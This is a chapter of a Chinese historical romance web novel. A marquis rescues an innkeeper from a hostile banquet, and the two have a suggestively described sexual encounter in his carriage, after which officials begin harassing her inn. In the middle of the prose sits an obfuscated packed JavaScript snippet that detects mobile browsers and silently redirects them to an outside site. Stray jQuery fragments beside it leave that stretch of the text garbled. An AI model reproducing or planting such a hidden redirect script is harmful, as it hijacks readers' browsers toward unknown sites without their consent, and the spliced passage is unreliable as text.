半个时辰后,程雪案已经换上一身干净的绛紫色锦缎长袍,其上暗纹流转,举手投足间仿若翻涌的云霞。他侧卧在酒桌前,腰间系着的白玉佩顺势垂落,与桌子腿儿磕碰到一起,发出清脆的玉声,仿佛连风都温柔三分。
程雪案一手懒洋洋地撑着脑袋,一手举着酒杯同雅间内其他同僚对饮,行动间宽袖微拂,隐隐透出金丝绣边,无不透着雍容与风雅,如果就这样不开口,倒真宛若个从画卷中走出的贵公子。他以玉冠稳扣的乌发高高束起,也随着他的动作左右摇晃着,仿佛像他一样桀骜不羁。而那双漂亮的桃花眼深邃而含笑,仿若春风拂面,却又难测心思,看似在与同僚们攀谈,仔细一瞧,满脸又全是心不在焉。
与此同时,隔壁雅间的声音越来越吵闹,明里暗里不是恐吓就是挑衅,甚至还有轻薄的调戏,就算是再嘈杂的环境,程雪案也能一下子分辨出那道明亮的女声属于谁。
不过三两句,便没来由地激起程雪案心中一阵怒火,在众人的谈笑风声间,他猛地将酒杯往桌子上一甩,整个人也直起身来,俊美的脸上顿时遍布阴霾,吓得周围的同僚连大气都不敢吭一声。
“程二公子……这,这是怎么了?”
宴席之中,有人壮着胆子试探性地开了口,可程雪案的心思却已经全然不在这里,他二话没说,仿佛当周围的人都不存在一般,直接阴沉着脸冲了出去,甩下后面一群被他喊出来吃喝玩乐的贵族公子云里雾里。
隔壁雅间的众人见到突如其来闯进的男人皆是一愣,毕竟并非所有人都有幸识得过平兀侯的真面目,其中还有脾气冲的,再加上酒过三巡上了头,已经朝着程雪案叫嚷起来。
“什么人啊!知道我们是谁吗?这里是你随随便便就能擅闯的吗!”
刚才跟程雪案一桌子吃饭的纨绔公子们虽然没摸清楚状况,但也从隔壁雅间跑了过来,不管三七二十一,先不能输了气势,直接冲着对面叫嚣着:“睁大你的狗眼好好看看,这可是堂堂平兀侯!”
只是无论两边如何争论不休,从推门而入的那一刹那起,程雪案的眼里就只能容纳得下坐在中间的洛迎窗而已。
洛迎窗闻声抬头,一双漂亮的眼睛正撞上那道怒不可遏的目光。
她今日着一身霞映霓裳,流光锦缎,仿佛比她的肌肤还要轻盈柔滑。外披一袭轻紫烟罗,薄如蝉翼轻覆在肩头,勾勒出凹凸有致的曲线若隐若现。裙摆晕染着桃夭轻粉,仿若晨曦映照花海,那一头乌黑的长发如瀑般披散在肩,发髻上还点缀了几枝珠玉步摇。一颦一笑间眉流转着温婉柔情,宛若天仙下凡,风姿绰约,令人心醉。
见她如此盛装出席,来赴这场鸿门宴,程雪案当即就更火冒三丈了,他穿过人群直接拉过洛迎窗的手腕,忽视了周遭所有质问和争吵的嘈杂声,转身就要走,刚到门口就被不知轻重的家伙挡住了去路:“哎——我们请来的贵客,你想带去哪里!”
然而,程雪案不过一个眼神,就让对方噤了声,如果眼神能杀人的话,在场绝对没有一个人能幸免。
洛迎窗今天穿得花枝招展的,走路也不方便,被程雪案拽着走得太快,差点绊到自己的裙摆摔了个踉跄。程雪案回头瞅了她一眼,极不耐烦地当着围观群众的面将人扛上了肩,直奔平兀侯的马车。
而这个姿势,恰好让洛迎窗的胃部卡在了程雪案的骨头上,压着她难受得直想吐,好不容易适应了些,又突然一阵晕头转向,直接被程雪案丢进了车里。
不过预想的疼痛感并没有袭来,天旋地转之中,程雪案先一步捂住了洛迎窗的后脑,才倾身将人压在了马车车板上,一双狩猎的危险眼神上下打量了她一番,嘴角勾起一抹意味不明的笑意:“穿成这样,嗯?”
洛迎窗缓了缓才睁开眼睛,故意问道:“你怎么来了?”
“跟隔壁几个公子哥吃酒,你们这房间太吵,打扰到我们的兴致了。”
程雪案的回应不冷不热,仿佛刚才主动的英雄救美,并不是他的本意。
“真的?”
程雪案见她不信,冷笑一声:“不然我还能偷偷跟着你不成?”
洛迎窗点点头,也懒得刨根问底,稍微坐起身来一点,又不经意地哪壶不开提哪壶:“韩公子今日怎么没来?你们平常吃酒不都形影不离的吗?”
程雪案的双眸更阴沉了:“你惦记他?”
洛迎窗撇了他一眼,只觉得莫名其妙,苍白又无力地试图辩解:“都是朋友,问候一下不过分吧……”
话还没说完,程雪案便直接一张硬嘴堵了上去,吻得毫无章法又极其凶狠,仿佛要将洛迎窗活吃了一样,离开的时候,洛迎窗的嘴角都被他咬破了,两个人的唇齿之间瞬间溢满了血腥味。
程雪案直接就着这个姿势,用额头抵住了洛迎窗的额头,擦着她的鼻尖和唇角,带着几乎窒息后的急喘,声音沙哑地威胁道:“少在我面前关心别的男人。”
洛迎窗的胭脂都被蹭花了,不用照镜子都知道她现在究竟有多狼狈,但是程雪案一想到只有他能见到洛迎窗现在这副模样,心里不由一阵得意,又用大拇指指腹贴在她的嘴唇上,胡乱一抹,更是诱人得一塌糊涂。
洛迎窗那双漂亮的眼睛幽怨地瞪了他一眼,没回答。
程雪案很不满意地在她的嘴唇上小啄了一下,盯着她颤抖的睫毛,追问道:“听到了吗?”
“嗯……”
在她轻轻应了声之后,强硬的吻便再度落下,但只是亲吻还不能让程雪案满足,本来半跪在洛迎窗身前的程雪案突然往她旁边的座位上一坐,顺势将洛迎窗悬空捞起,双手扶在她的腰侧,让她整个人跨坐在自己的大腿上。
洛迎窗下意识扶住程雪案的肩膀,垂眸望向他时,湿润的睫毛一颤一颤的,眼底仿佛淌着一汪清澈的春水。程雪案仰起脖子凑近她的嘴唇,滚烫的热气先将她完全包裹住,却没有下一步行动。洛迎窗缓缓抬起手,顺着他脖子上凸起的青筋抚摸着,然后又滑到他的喉结处上下摩擦。
程雪案情不自禁地滚了滚喉咙,嘴巴凑过去想要吻她,却被洛迎窗先往后错开了些距离躲了过去。
程雪案沉着眸子疑惑地看着他不说话,就见洛迎窗莞尔一笑,语气里还带着些没能缓过气来的颤抖:“再问你一遍……为什么会来?”
程雪案不答她,洛迎窗便故意躲着不让他亲。
来回折腾几下,程雪案也没了耐心,直接双手捧住洛迎窗的脸,认真地盯着她道:“我担心你,这个理由够充分吗?”
洛迎窗满意地笑出了声,只是轻巧的尾音全部被吞进了程雪案的喉咙,两个人唇齿交缠着,密闭而狭小的空间里只剩彼此加速的心跳声和高低相交的喘息。
漂亮的绫罗绸缎已经在程雪案的手下被揉得皱皱巴巴,他索性将碍事的衣料全部丢在一边,发热的掌心再度覆在洛迎窗的肌肤上,顺着她后背的曲线一路下滑,最终稳稳地托住她,将人微微抬起,再重重放下,如此循环往复,马车内的气温随着她的上下起伏而节节攀升。
洛迎窗挂在程雪案身上不住颤抖着,程雪案随手扯过自己的大氅铺在另一边的座位上,然后将洛迎窗直接轻放上去,便继续掀起了新一波浪潮。
平兀侯的马车颤颤巍巍在醉仙阁后门黑暗的角落里停留了许久,才慢慢归于平静。
观察了好一会儿,祈明才敢小心翼翼地凑了过去,程雪案撩开窗帘的一小道缝隙,对着祈明道:“祈明,回府。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967966|175221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
程雪案直接裹着大氅将人抱回了自己的房间,顺便让祈明跑了个腿,去春风酒楼给大家伙报个平安,转头再看向睡熟的洛迎窗,像只乖巧的小猫一样整个人蜷缩在被子里,仿佛完全不担心周遭陌生的环境一般。
程雪案拿了条沾了温水的毛巾,轻手轻脚地走到床边,先是小力道地在洛迎窗的额头上蹭了蹭,见她没被惊醒,便又往下擦了擦,然后又小心翼翼地掀开被子的一角,将她整个人都清洗了个遍,动作慢到他浑身都浸了一层细汗。
去沐浴之前,他坐在床边静静地望了洛迎窗一会儿,又伸出手掌按在床榻上试了试软度,至少今晚的洛迎窗睡得很舒服,不像之前躺在坚硬的床板上,连睡梦里都紧蹙着眉头。
只是他没想到,刚换了张床垫没多久,洛迎窗就又躺在了自己的这张床上。
想到这里,他突然抿了抿嘴角,下意识露出了会心的微笑。
第二天,官府里一大半儿人告病请假,原来是昨夜那一桌人散了席回去全都上吐下泻,好生狼狈。这消息一传十、十传百,直接成了坊间流传的闲话,引得人捧腹大笑。
程雪案听后,隔着道门摆摆手让祈明下去,又挑了挑眉看向怀中刚刚睡醒,正一脸得意的洛迎窗,掩不住的笑意:“你的手笔?”
洛迎窗在程雪案怀里伸了个懒腰,语气还带着点没睡醒的粘腻:“我什么时候让自己吃过亏啊?”
程雪案瞧着她那副得意洋洋的模样,含笑摸了摸洛迎窗的侧脸颊,语气酸溜溜道:“那倒是显得我多此一举了。”
洛迎窗自然是听出了他的弦外之音,突然一个翻身直接趴在程雪案的胸口,修长的手指挑起程雪案的下巴,笑眯眯道:“有平兀侯随时随地为我撑腰——也不错啊。”
程雪案眯起眼睛盯着她,也不躲闪,笑意弥漫在他深邃的瞳孔中:“你这叫——恃宠而骄。”
不过程雪案到底是不是真的宠爱自己,洛迎窗是断不在乎的,那天程雪案随口说了那么一句,洛迎窗也就顺耳一听,早就忘到九霄云外去了。
只是官府的人吃了亏还不长记性,似乎非要搞垮春风酒楼不罢休。
街头巷尾,人声鼎沸,然而在这繁华的市井之中,却透着一丝不易察觉的压抑。
春风酒楼门前,一队气势汹汹地走了进来,腰佩绣春刀,衣襟上绣着官府的标志,为首的是县衙巡检,他双手抱胸,嘴角微微上扬,目光在堂中扫视一圈,似在寻觅什么,透着几分不善的意味。
县衙巡检缓步走向柜台,手指轻叩木质台面,冷哼道:“这酒楼生意挺兴旺啊……洛掌柜,这等热闹之地,可莫要坏了规矩。”
这些天来,县衙巡检已经带着人找过春风酒楼不少次麻烦了,洛迎窗大概也能猜到他们的意图——在她彻底臣服之前,就算不能从她这里揩到什么油水,也要搅合得顾客忌惮官府的造访而不敢光顾春风酒楼。
但洛迎窗却自有考量。
她今日袭一件桃夭纨绮,色如初绽的桃花,外罩一层缃绡薄烟,纱罗轻覆,见门外的熟悉面孔又来找茬,嘴角便勾起一道意味不明的笑容,放下手中的账本从账房绕了出来,向前微微一福,语气温和:“官爷光临,小店自是倍感荣幸,不知今日又有何指教?”
县衙巡检瞥了一眼,一甩袖子,不耐烦地说道:“本官接到举报,说你们酒楼酒水掺假、短斤少两,特来查验。”
堂中食客闻言皆是一惊,毕竟投毒案的风波刚过去没多久,大家窃窃私语一阵,便听洛迎窗面不改色道:“小店在此处经营已久,酒水皆取自知名酒坊,绝无掺假……若官爷要查验,小店自当奉陪。”
县衙巡检冷哼一声,挥手示意身后衙役:“查!”